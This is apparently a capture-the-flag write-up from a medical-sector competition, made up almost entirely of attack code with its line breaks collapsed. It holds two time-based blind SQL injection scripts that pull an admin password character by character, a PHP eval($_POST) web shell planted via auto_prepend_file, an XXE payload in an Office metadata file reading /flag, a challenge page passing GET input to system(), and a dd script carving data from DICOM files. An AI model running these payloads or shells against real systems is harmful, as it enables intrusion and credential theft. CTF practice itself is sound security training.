某医疗行业CTF WP

# -*-coding:utf-8-*-import requestsimport time
# url inputurl = ''dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ,@{}()[]!$^&/-~+=#?*._%`'
headers = {"Content-Type": "application/x-www-form-urlencoded"}# time sql injectiondef time_sql():    flag = ''    for i in range(1,1000):        low = 32        high = 127        while low < high:            mid = (low + high) >> 1            payload = '1-sleep(if(ascii(substr((select(A_pwd)from(SL_admin)),{},1))>{},5,0))=1234'.format(i, mid)            before_time = time.time()            print(payload)            res = requests.post(url=url, data=payload, headers=headers)            after_time = time.time()            offset = after_time - before_time            if (offset > 5):                low = mid + 1            else:                high = mid
        if low != 32:            flag += chr(low)            print(flag)        else:            break
if __name__ == '__main__':    time_sql()    

auto_prepend_file=1.txt

<?php eval($_POST[a]);?>

import requestsimport time
url=''formatt="||if(ascii(substr(password,{},1))between/**/{}/**/and/**/{},sleep(3),1)#"
flag=''for i in range(1,50):        for j in range(44,128):                starTime=time.time()                yj=formatt.format(int(i),int(j),int(j))                payload={"username":"admin\","password":yj}                r=requests.post(url,data=payload)                if((time.time()-starTime)>3):                        flag+=chr(j)                        print(flag)                        breakprint('the flag is'+flag)

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///flag">]><cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>&xxe;</dc:title><dc:subject></dc:subject><dc:creator></dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>

<?phperror_reporting(0);if(isset($_GET['shell'])){$shell = $_GET['shell'];if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $shell) && strlen($shell)<25){system($shell);// flag is in /flag.txt}    }else{highlight_file(__FILE__);}

# -*-coding:utf-8-*-import os
def create_pic(n):    for num in n:        cmd = f"dd if=IM-0001-{num}.dcm bs=1 count=1024 skip=309880 of=file{num}"        os.system(cmd)
if __name__ == "__main__":    file = []    pic = []    for i in range(0, 221):        num = "%04d" % i        pic.append(num)        file.append(f"file{num}")    create_pic(pic)    os.system('cat file* > newfile.raw')  #拼接图片